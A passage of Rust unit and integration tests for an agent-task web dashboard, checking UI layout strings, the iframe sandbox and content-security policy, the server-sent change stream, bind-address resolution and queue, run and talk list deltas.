22094        assert!(body.contains("const questionLink = n.answerable_question ? el(\"a\", {"));
22095        assert!(body.contains("href: `#/questions/${encodeURIComponent(n.answerable_question)}`"));
22096        assert!(body.contains("text: \"Open question to respond\",\n    }) : null;"));
22097        assert!(body.contains("questionLink ? subjectLink : noticeCoveredBy(n.covered_by)"));
22098    }
22099
22100    /// Chat rows are two lines at every width: the title alone, then the
22101    /// shrinkable secondary info.
22102    #[test]
22103    fn chat_rows_put_the_title_alone_on_the_first_line() {
22104        assert!(APP_CSS.contains("#talks-list .card-title {\n  grid-row: 1; grid-column: 1 / -1;"));
22105        assert!(APP_CSS.contains(
22106            "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
22107        ));
22108        assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
22109        assert!(APP_JS.contains("class: \"badge talk-unread\""));
22110    }
22111
22112    #[test]
22113    fn run_rows_put_the_title_alone_on_the_first_line() {
22114        assert!(
22115            APP_CSS.contains(
22116                ".cards .card.run-card .card-title {\n  grid-row: 1; grid-column: 1 / -1;"
22117            )
22118        );
22119        assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
22120        assert!(APP_JS.contains("class: \"card run-card\""));
22121        assert!(APP_JS.contains("class: \"repo run-id\""));
22122    }
22123
22124    /// Wide screens get a master/detail layout built from the views a phone
22125    /// drills into. These are string assertions: they pin the contract between
22126    /// the three assets, not how it looks.
22127    #[test]
22128    fn wide_screens_show_list_and_preview_side_by_side() {
22129        // One breakpoint, spelled the same in the script and the stylesheet.
22130        assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
22131        assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
22132        assert!(APP_CSS.contains("main[data-split]"));
22133        assert!(APP_CSS.contains("body[data-split]"));
22134
22135        // The route -> panes table, and a narrow screen opting out of it.
22136        assert!(APP_JS.contains("function splitPanes(route, wide) {\n  if (!wide) return null;"));
22137        assert!(
22138            APP_JS.contains(
22139                "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
22140            )
22141        );
22142        assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
22143        assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
22144        assert!(INDEX_HTML.contains("id=\"split-empty\""));
22145
22146        // Selection is derived from the route, and only ever paints a row.
22147        assert!(APP_JS.contains("function markSelected() {"));
22148        assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
22149        assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
22150        // The dense row must override the stacked card the 720px block sets up.
22151        assert!(
22152            APP_CSS.contains(
22153                "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
22154            )
22155        );
22156
22157        // Independent scrolling: the page stops scrolling, each pane does.
22158        assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
22159        assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
22160        assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
22161        assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
22162
22163        // A refresh must never navigate: the loaders still check that their
22164        // subject is the one on screen, and crossing the breakpoint only
22165        // re-reads the hash.
22166        assert!(APP_JS.contains("if (state.detail !== detail) return;"));
22167        assert!(APP_JS.contains("if (state.taskDetail !== detail) return;"));
22168        assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
22169        assert!(APP_JS.contains("const relayout = () => applyRoute();"));
22170
22171        // The panel sandbox carries exactly allow-popups and allow-popups-to-escape-sandbox.
22172        assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
22173    }
22174
22175    #[test]
22176    fn panel_sandbox_carries_exactly_popups() {
22177        let needle = "sandbox: \"";
22178        let matches: Vec<_> = APP_JS.match_indices(needle).collect();
22179        assert_eq!(
22180            matches.len(),
22181            1,
22182            "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
22183        );
22184        let start = matches[0].0 + needle.len();
22185        let end = APP_JS[start..]
22186            .find('"')
22187            .expect("sandbox attribute value must be terminated by a closing quote");
22188        let val = &APP_JS[start..start + end];
22189        let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
22190        let expected: std::collections::BTreeSet<&str> =
22191            ["allow-popups", "allow-popups-to-escape-sandbox"]
22192                .into_iter()
22193                .collect();
22194        assert_eq!(tokens, expected, "sandbox tokens must match exactly");
22195        assert!(
22196            !tokens.contains("allow-scripts"),
22197            "allow-scripts must never be present in sandbox"
22198        );
22199        assert!(
22200            !tokens.contains("allow-same-origin"),
22201            "allow-same-origin must never be present in sandbox"
22202        );
22203    }
22204
22205    #[test]
22206    fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
22207        // consumeQueueFocus() clears an active Backlog search before it can
22208        // scroll to the target card (the sections list is hidden while a
22209        // search is showing), by recursing back into renderQueue(). The
22210        // fixer's first cut nulled state.queueFocus before that recursive
22211        // call, so the second pass saw nothing to jump to and the jump was
22212        // silently dropped whenever a notification's link was opened with a
22213        // stale search still active. state.queueFocus must only be cleared
22214        // right before jumpToTask() actually runs.
22215        assert!(
22216            APP_JS.contains(
22217                "  }\n  if (state.queueSearch.trim() !== \"\") {\n    state.queueSearch = \"\";"
22218            ),
22219            "the search-clearing branch must run before state.queueFocus is cleared, or the \
22220             recursive renderQueue() call has nothing left to jump to"
22221        );
22222        assert!(
22223            APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
22224            "state.queueFocus must be cleared only once the jump has landed, so a card that \
22225             arrives later still gets it"
22226        );
22227        assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
22228        assert!(APP_JS.contains("is not in the current Backlog."));
22229        assert!(APP_JS.contains("li.card[data-task-id=\""));
22230        assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
22231        assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
22232        assert!(APP_CSS.contains(".card-permalink"));
22233        assert!(APP_CSS.contains(".queue-focus-status"));
22234        assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
22235    }
22236
22237    #[test]
22238    fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
22239        // The task's own repro: only the link text inside .notice-meta was
22240        // clickable, so a tap on the message, the timestamp, or the card's
22241        // padding did nothing - on a phone that reads as "the card doesn't
22242        // work" even though the tiny link inside it did. Mark read / Dismiss
22243        // must keep working independently of this: `.closest("a, button")`
22244        // is what lets a tap that actually lands on those elements fall
22245        // through instead of being hijacked into a navigation.
22246        assert!(
22247            APP_JS.contains(
22248                "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
22249            ),
22250            "the notice card itself must forward a tap outside its link/buttons to the link's own click"
22251        );
22252    }
22253
22254    #[test]
22255    fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
22256        assert!(
22257            APP_JS.contains("round.verified_head !== round.head"),
22258            "a round that verified an earlier commit must be visibly distinct from one that \
22259             verified the head reviewers are looking at now"
22260        );
22261        assert!(
22262            APP_JS.contains("round.verified_at"),
22263            "when a check ran must be on the wire, not just which commit"
22264        );
22265        assert!(
22266            APP_JS.contains("resource_blocked"),
22267            "a command magi never got to run (shared build cache contention) must not render \
22268             the same as a command that ran and failed"
22269        );
22270    }
22271
22272    #[test]
22273    fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
22274        // Every KPI tile but Total runs and Completion names an exact
22275        // RunStatus and hands it to openRunsFiltered(), which is what wires
22276        // the click into state.runsFilter.status (matchesFilter's own
22277        // status check) rather than the coarser runsStateFilter chips. Each
22278        // status literal here must be one of the strings runSection() (and
22279        // isStale()) actually compare a run's own `status` field against -
22280        // a status this dashboard invented would filter to nothing.
22281        assert!(
22282            APP_JS.contains("onClick: () => openRunsFiltered(status)"),
22283            "every KPI tile built through statusTile() must route its click through \
22284             openRunsFiltered, the single place that sets the Runs filter"
22285        );
22286        for (label, status) in [
22287            ("Merged", "merged"),
22288            ("Ready", "ready"),
22289            ("Blocked", "blocked"),
22290            ("Stalled", "stalled"),
22291        ] {
22292            let call = format!("statusTile(\"{label}\", t.{status}, ");
22293            assert!(
22294                APP_JS.contains(&call),
22295                "expected the {label} KPI tile built via {call}..."
22296            );
22297            assert!(
22298                APP_JS.contains(&format!("status === \"{status}\"")),
22299                "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
22300                 compare a run against, not one invented only for the stats tile"
22301            );
22302        }
22303        assert!(
22304            APP_JS.contains("function openRunsFiltered(status)"),
22305            "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
22306        );
22307        assert!(
22308            APP_JS.contains(
22309                "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
22310            ),
22311            "matchesFilter must gate on the statuses of the bucket a KPI tile named"
22312        );
22313        // applyRoute() only flips which view is visible for a plain `#runs`
22314        // hash - it does not itself redraw the list (see applyRoute's own
22315        // handling below) - so openRunsFiltered must call renderRuns()
22316        // itself, and must call applyRoute() too so the view flips even
22317        // when the hash string doesn't change (the operator may already be
22318        // on the Runs view when a tile is tapped, which fires no
22319        // hashchange event at all).
22320        assert!(
22321            APP_JS.contains("  location.hash = \"#runs\";\n  applyRoute();\n  renderRuns();\n}"),
22322            "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
22323             hashchange event that may never fire"
22324        );
22325    }
22326
22327    #[test]
22328    fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
22329        // A stats tile can leave state.runsFilter.status set to something
22330        // done-by-construction (e.g. "merged") - picking "Active" afterward
22331        // must drop it the same way an incompatible tree section is already
22332        // dropped, or the Runs list renders permanently empty with no way
22333        // for the operator to tell why.
22334        assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
22335        assert!(
22336            APP_JS.contains(
22337                "  if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n    state.runsFilter = { ...state.runsFilter, status: null };\n  }"
22338            ),
22339            "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
22340             guard for an incompatible tree section"
22341        );
22342    }
22343
22344    #[test]
22345    fn every_stats_queue_tile_names_a_real_queue_section() {
22346        // renderStatsQueue()'s tiles each call openQueueSectionFocus() with a
22347        // QUEUE_SECTIONS key; a typo here would silently no-op the tile
22348        // (consumeQueueSectionFocus finds no matching <details> and drops
22349        // the focus) rather than fail loudly, so pin every key against the
22350        // section list it has to resolve against.
22351        assert!(
22352            APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
22353            "every queue tile built through sectionTile() must route its click through \
22354             openQueueSectionFocus"
22355        );
22356        for key in ["upnext", "running", "done", "held", "blocked"] {
22357            assert!(
22358                APP_JS.contains(&format!("{{ key: \"{key}\",")),
22359                "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
22360            );
22361        }
22362        // Queued and Failed intentionally both resolve to "upnext" - the
22363        // same section queueSection() itself files them under - rather than
22364        // getting a section each.
22365        for line in [
22366            "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
22367            "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
22368            "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
22369            "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
22370            "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
22371            "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
22372        ] {
22373            assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
22374        }
22375    }
22376
22377    #[test]
22378    fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
22379        // Mirrors consuming_a_queue_focus_survives_clearing_a_stale_backlog_search
22380        // above for the section-focus channel a stats queue tile drives:
22381        // consumeQueueSectionFocus() must leave state.queueSectionFocus set
22382        // through the stale-search-clear recursion into renderQueue(), and
22383        // clear it only once revealQueueSection() is actually about to run -
22384        // the same trap that once silently dropped a task-focus jump.
22385        assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
22386        assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
22387        assert!(APP_JS.contains("function revealQueueSection(details)"));
22388        assert!(
22389            APP_JS.contains("consumeQueueFocus();\n  consumeQueueSectionFocus();"),
22390            "renderQueue() must consume both focus channels on every pass"
22391        );
22392        assert!(
22393            APP_JS.contains(
22394                "  const key = state.queueSectionFocus;\n  if (!key || state.queue === null) return;\n  if (state.queueSearch.trim() !== \"\") {"
22395            ),
22396            "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
22397             the recursive renderQueue() call has nothing left to reveal"
22398        );
22399        assert!(
22400            APP_JS.contains(
22401                "  const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n  state.queueSectionFocus = null;\n  if (details) revealQueueSection(details);"
22402            ),
22403            "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
22404        );
22405        // applyRoute() only calls renderQueue() itself for the `#/queue/<id>`
22406        // task-focus form of the hash - a plain `#queue` navigation only
22407        // flips which view is visible. openQueueSectionFocus() must
22408        // therefore call renderQueue() itself, and applyRoute() too so the
22409        // view flips even when the hash doesn't change (the Backlog may
22410        // already be open when a tile is tapped, firing no hashchange
22411        // event at all).
22412        assert!(
22413            APP_JS.contains("  location.hash = \"#queue\";\n  applyRoute();\n  renderQueue();\n}"),
22414            "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
22415             hashchange event that may never fire"
22416        );
22417    }
22418
22419    #[tokio::test]
22420    async fn the_change_stream_announces_the_current_revisions_on_connect() {
22421        let f = Fixture::start().await;
22422
22423        let mut socket = tokio::net::TcpStream::connect(f.addr)
22424            .await
22425            .expect("connect");
22426        socket
22427            .write_all(
22428                b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
22429            )
22430            .await
22431            .expect("write request");
22432
22433        // Read until the first event arrives rather than to end of stream: the
22434        // stream is endless by design, which is the point of the route.
22435        let mut seen = String::new();
22436        let mut buf = [0u8; 1024];
22437        while !seen.contains("event: change") {
22438            let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
22439                .await
22440                .expect("the stream must speak within five seconds")
22441                .expect("read");
22442            assert!(read > 0, "the server closed the change stream: {seen}");
22443            seen.push_str(&String::from_utf8_lossy(&buf[..read]));
22444        }
22445
22446        assert!(
22447            seen.to_lowercase()
22448                .contains("content-type: text/event-stream"),
22449            "the browser only reconnects automatically for a real SSE stream: {seen}"
22450        );
22451        let data = seen
22452            .lines()
22453            .find_map(|l| l.strip_prefix("data:"))
22454            .expect("a data line");
22455        let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
22456        assert!(
22457            payload["queue_rev"].is_u64()
22458                && payload["runs_rev"].is_u64()
22459                && payload["questions_rev"].is_u64()
22460                && payload["talks_rev"].is_u64()
22461                && payload["notifications_rev"].is_u64()
22462                && payload["loop_rev"].is_u64(),
22463            "the client needs one revision per store to know what to refetch, \
22464             and `talks_rev` is the only notification a standing talk gets - a \
22465             phone whose radio slept through a turn learns about it here, as \
22466             does one whose operator started the loop from another device: \
22467             {payload}"
22468        );
22469
22470        // The front end re-polls health on a timer and on wake, and takes the
22471        // revisions from that answer whenever the stream is not up. So health
22472        // has to carry every key the stream carries: a phone on a link that
22473        // will not hold an SSE connection is exactly the phone that must still
22474        // notice a question, and a missing key there is not a 500 but a UI
22475        // that quietly stops updating.
22476        let health = f.get("/api/health").await.json();
22477        for key in [
22478            "queue_rev",
22479            "runs_rev",
22480            "questions_rev",
22481            "talks_rev",
22482            "notifications_rev",
22483            "loop_rev",
22484        ] {
22485            assert!(
22486                health[key].is_u64(),
22487                "health is the change stream's fallback and is missing `{key}`: {health}"
22488            );
22489        }
22490    }
22491
22492    #[tokio::test]
22493    async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
22494        let home = TempDir::new().expect("temp home");
22495        let ui = delta_test_ui(home.path());
22496        let talk = seed_talk_at(&ui.talks, "20260904-014455-ab12", "open");
22497        // Establish the existing conversation's baseline before appending.
22498        // Wait on the stream's shared notification rather than repeatedly
22499        // rebuilding health (config, process and disk observations included).
22500        let before = ui.monitor.revisions(&ui).await.expect("initial scan").3;
22501        let mut changes = ui.monitor.broadcaster.subscribe();
22502        let mut on_disk = ui.talks.get(&talk).expect("get seeded talk");
22503        on_disk.turns.push(crate::talk::Turn {
22504            sender: None,
22505            breaks: Some(Vec::new()),
22506            messages: Vec::new(),
22507            posted_by: None,
22508            who: crate::talk::Who::Operator,
22509            body: "a new turn".to_owned(),
22510            at: Timestamp::now(),
22511            attachments: Vec::new(),
22512            usage: None,
22513        });
22514        ui.talks.put(&mut on_disk).expect("record a turn");
22515
22516        let after = tokio::time::timeout(Duration::from_secs(5), async {
22517            loop {
22518                let change = changes.recv().await.expect("monitor notification");
22519                let revision = change.payload["talks_rev"].as_u64().expect("talks_rev");
22520                if revision != before {
22521                    assert_eq!(
22522                        change.payload["talks_delta"]["changed"],
22523                        serde_json::json!([talk])
22524                    );
22525                    break revision;
22526                }
22527            }
22528        })
22529        .await
22530        .expect("shared monitor observes external turn");
22531        assert_ne!(
22532            before, after,
22533            "a phone must be able to notice a talk's reply without polling every store"
22534        );
22535        let Json(observed) = health(State(ui)).await.expect("health");
22536        assert_eq!(
22537            observed.talks_rev, after,
22538            "health exposes the same revision"
22539        );
22540    }
22541
22542    #[test]
22543    fn bind_reads_back_from_the_spelling_the_cli_prints() {
22544        // The CLI shows the default in `--help` and parses whatever comes
22545        // back, so the two directions have to agree or `--bind auto` breaks
22546        // the moment someone copies the help text.
22547        for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
22548            assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
22549        }
22550        assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
22551        assert!("everywhere".parse::<Bind>().is_err());
22552    }
22553
22554    #[test]
22555    fn an_explicit_bind_address_is_taken_verbatim() {
22556        let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
22557
22558        let (addr, warning) = resolve_bind(&Bind::Addr(asked));
22559
22560        assert_eq!(addr, asked);
22561        assert!(
22562            warning.is_none(),
22563            "an operator who named an address gets no lecture"
22564        );
22565    }
22566
22567    #[test]
22568    fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
22569        let (addr, warning) = resolve_bind(&Bind::Auto);
22570
22571        // This has to hold on a CI runner with no `tailscale` and on a dev box
22572        // with one, so the invariant asserted is the one shared by both
22573        // outcomes: the address is either a real tailnet address offered
22574        // without comment, or loopback with an explanation. What must never
22575        // happen is a silent fallback - an operator told "listening on
22576        // 127.0.0.1" with no reason would go looking for a firewall.
22577        match addr {
22578            IpAddr::V4(ip) if is_tailnet(&ip) => {
22579                assert!(warning.is_none(), "a tailnet address needs no warning");
22580            }
22581            other => {
22582                assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
22583                let warning = warning.expect("a fallback has to explain itself");
22584                assert!(
22585                    warning.contains("127.0.0.1") && warning.contains("local-only"),
22586                    "the warning says what happened and what it costs: {warning}"
22587                );
22588            }
22589        }
22590    }
22591
22592    #[test]
22593    fn only_the_cgnat_block_counts_as_a_tailnet_address() {
22594        // `tailscale ip -4` output is trusted only inside 100.64.0.0/10; the
22595        // boundary cases are what stop us binding to some other tool's idea of
22596        // an address.
22597        assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
22598        assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
22599        assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
22600        assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
22601        assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
22602    }
22603
22604    #[test]
22605    fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
22606        let ids = vec![
22607            "20260902-140501-aaaa".to_owned(),
22608            "20260902-140502-aabb".to_owned(),
22609        ];
22610
22611        let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
22612        let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
22613        let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
22614
22615        assert_eq!(missing.status, StatusCode::NOT_FOUND);
22616        assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
22617        assert_eq!(short, "20260902-140502-aabb");
22618    }
22619    #[tokio::test]
22620    async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
22621        // The prompt tells agents to reference attachments by bare filename.
22622        // A document served at `.../panel` resolves `shot.png` against its own
22623        // directory, i.e. `.../shot.png`, which is not the asset route - so a
22624        // panel written exactly as instructed showed broken images. Caught by
22625        // looking at a real one in a browser, not by reading the code.
22626        let fx = Fixture::start().await;
22627        let id = panel(
22628            &fx,
22629            "<img src=\"shot.png\">",
22630            &[("shot.png", b"\x89PNG\r\n\x1a\n")],
22631        );
22632
22633        // The frame's own URL ends in a filename, so its siblings are reachable.
22634        let doc = fx
22635            .get(&format!("/api/questions/{id}/panel/index.html"))
22636            .await;
22637        assert_eq!(doc.status, 200, "{}", doc.body);
22638        assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
22639
22640        let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
22641        assert_eq!(sibling.status, 200, "{}", sibling.body);
22642        assert_eq!(sibling.header("content-type"), Some("image/png"));
22643        assert_eq!(
22644            sibling.header("content-security-policy"),
22645            Some(PANEL_CSP),
22646            "the sibling route must carry the same policy as the asset route"
22647        );
22648
22649        // The original spelling keeps working: HEAD on it is how the front end
22650        // decides whether to mount a frame at all.
22651        assert_eq!(
22652            fx.head(&format!("/api/questions/{id}/panel")).await.status,
22653            200
22654        );
22655    }
22656
22657    #[test]
22658    fn delta_stamps_cover_add_update_remove_and_noop() {
22659        let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
22660        let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
22661        let delta = diff_stamps(&before, &after, 42);
22662        assert_eq!(delta.base, 42);
22663        assert_eq!(delta.changed, ["b", "c"]);
22664        assert_eq!(delta.removed, ["a"]);
22665        let same = diff_stamps(&after, &after, 43);
22666        assert!(same.changed.is_empty() && same.removed.is_empty());
22667        assert_ne!(stamps_revision(&before), stamps_revision(&after));
22668        let nanos: Stamps = [("b".into(), (2, 20))].into();
22669        let same_ms: Stamps = [("b".into(), (3, 20))].into();
22670        assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
22671        assert_eq!(stamps_revision(&Stamps::new()), 0);
22672    }
22673
22674    fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
22675        std::fs::create_dir_all(home.join("runs")).unwrap();
22676        Arc::new(
22677            Ui::new(
22678                Queue::at(home.join("queue")),
22679                Questions::at(home.join("questions")),
22680                Talks::at(home.join("talks")),
22681                home.join("runs"),
22682                home.to_owned(),
22683                PathBuf::from("/repo/magi"),
22684            )
22685            .with_worktrees_root(home.join("wt")),
22686        )
22687    }
22688
22689    #[test]
22690    fn monitor_scan_isolates_store_failures_and_recovers() {
22691        let home = TempDir::new().unwrap();
22692        let ui = delta_test_ui(home.path());
22693        std::fs::create_dir_all(ui.questions.root()).unwrap();
22694        std::fs::write(ui.questions.root().join("q.json"), "{}").unwrap();
22695        let before = monitor_scan(&ui, None);
22696        std::fs::rename(ui.questions.root(), home.path().join("saved-questions")).unwrap();
22697        std::fs::write(ui.questions.root(), "not a directory").unwrap();
22698        std::fs::create_dir_all(ui.talks.root()).unwrap();
22699        std::fs::write(ui.talks.root().join("new.json"), "{}").unwrap();
22700        let during = monitor_scan(&ui, Some(before.clone()));
22701        assert_eq!(during.0.2, before.0.2);
22702        assert_ne!(during.0.3, before.0.3);
22703        assert!(during.1[2].contains_key("new"));
22704        std::fs::remove_file(ui.questions.root()).unwrap();
22705        let after = monitor_scan(&ui, Some(during));
22706        assert_eq!(after.0.2, 0);
22707        assert_eq!(after.0.3, stamps_revision(&after.1[2]));
22708        // A failed first scan also permits healthy stores to publish.
22709        std::fs::write(ui.questions.root(), "not a directory").unwrap();
22710        assert_eq!(monitor_scan(&ui, None).0.3, after.0.3);
22711    }
22712
22713    #[tokio::test]
22714    async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
22715        let home = TempDir::new().unwrap();
22716        let ui = delta_test_ui(home.path());
22717        let mut task = Task::new(
22718            "stream task".into(),
22719            "text".into(),
22720            PathBuf::from("/repo"),
22721            Source::Human,
22722        );
22723        ui.queue.put(&mut task).unwrap();
22724        let response = events(State(ui.clone())).await.into_response();
22725        let mut stream = response.into_body().into_data_stream();
22726        async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
22727            let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
22728                .await
22729                .unwrap()
22730                .unwrap()
22731                .unwrap();
22732            let text = String::from_utf8(chunk.to_vec()).unwrap();
22733            let data = text
22734                .lines()
22735                .find_map(|line| {
22736                    line.strip_prefix("data: ")
22737                        .or_else(|| line.strip_prefix("data:"))
22738                })
22739                .unwrap();
22740            serde_json::from_str(data).unwrap()
22741        }
22742        let initial = change(&mut stream).await;
22743        assert!(initial.get("queue_delta").is_none());
22744        task.instruction.push_str(" changed");
22745        ui.queue.put(&mut task).unwrap();
22746        let updated = change(&mut stream).await;
22747        assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
22748        assert_eq!(
22749            updated["queue_delta"]["changed"],
22750            serde_json::json!([task.id])
22751        );
22752        assert_eq!(
22753            updated["queue_rev"].as_u64(),
22754            Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
22755        );
22756        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
22757        let removed = change(&mut stream).await;
22758        assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
22759        assert_eq!(
22760            removed["queue_delta"]["removed"],
22761            serde_json::json!([task.id])
22762        );
22763    }
22764
22765    #[tokio::test]
22766    async fn delta_lists_keep_blockers_and_respect_the_run_window() {
22767        let home = TempDir::new().unwrap();
22768        let ui = delta_test_ui(home.path());
22769        let queue = ui.queue.clone();
22770        let query = |ids: Option<&str>| {
22771            Query(ListQuery {
22772                limit: Some(2),
22773                ids: ids.map(str::to_owned),
22774            })
22775        };
22776        let mut root = Task::new(
22777            "root".into(),
22778            "instruction".into(),
22779            PathBuf::from("/repo"),
22780            Source::Human,
22781        );
22782        queue.put(&mut root).unwrap();
22783        let mut blocked = Task::new(
22784            "blocked".into(),
22785            "instruction".into(),
22786            PathBuf::from("/repo"),
22787            Source::Human,
22788        );
22789        blocked.block(vec![root.id.clone()], None);
22790        queue.put(&mut blocked).unwrap();
22791        let whole =
22792            serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
22793                .unwrap();
22794        let subset = serde_json::to_value(
22795            queue_list(State(ui.clone()), query(Some(&root.id)))
22796                .await
22797                .unwrap()
22798                .0,
22799        )
22800        .unwrap();
22801        assert_eq!(whole, subset, "requested root plus its blocked dependent");
22802        let blockers = serde_json::to_value(
22803            queue_list(State(ui.clone()), query(Some("")))
22804                .await
22805                .unwrap()
22806                .0,
22807        )
22808        .unwrap();
22809        assert_eq!(blockers.as_array().unwrap().len(), 1);
22810        assert_eq!(blockers[0]["id"], blocked.id);
22811        assert_eq!(
22812            blockers[0]["waits_on"],
22813            whole
22814                .as_array()
22815                .unwrap()
22816                .iter()
22817                .find(|row| row["id"] == blocked.id)
22818                .unwrap()["waits_on"]
22819        );
22820
22821        for id in [
22822            "20260902-140501-aaaa",
22823            "20260902-140502-bbbb",
22824            "20260902-140503-cccc",
22825        ] {
22826            write_run(&ui.runs, id, RunStatus::Merged);
22827        }
22828        let old = serde_json::to_value(
22829            runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
22830                .await
22831                .unwrap()
22832                .0,
22833        )
22834        .unwrap();
22835        assert!(
22836            old.as_array().unwrap().is_empty(),
22837            "older updates must not enter the window"
22838        );
22839        let newest = serde_json::to_value(
22840            runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
22841                .await
22842                .unwrap()
22843                .0,
22844        )
22845        .unwrap();
22846        assert_eq!(newest.as_array().unwrap().len(), 1);
22847        assert_eq!(newest[0]["id"], "20260902-140503-cccc");
22848
22849        seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
22850        seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
22851        let talks = serde_json::to_value(
22852            talks_list(
22853                State(ui.clone()),
22854                query(Some("20260905-000000-d4e5")),
22855                header::HeaderMap::new(),
22856            )
22857            .await
22858            .unwrap()
22859            .0,
22860        )
22861        .unwrap();
22862        assert_eq!(talks.as_array().unwrap().len(), 1);
22863        assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
22864        assert_eq!(
22865            serde_json::to_value(
22866                talks_list(State(ui.clone()), query(Some("")), header::HeaderMap::new())
22867                    .await
22868                    .unwrap()
22869                    .0
22870            )
22871            .unwrap(),
22872            serde_json::json!([])
22873        );
22874    }
22875
22876    #[tokio::test]
22877    #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
22878    async fn delta_payload_benchmark() {
22879        let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
22880        let ui = delta_test_ui(&home);
22881        let query = |ids: Option<String>| {
22882            Query(ListQuery {
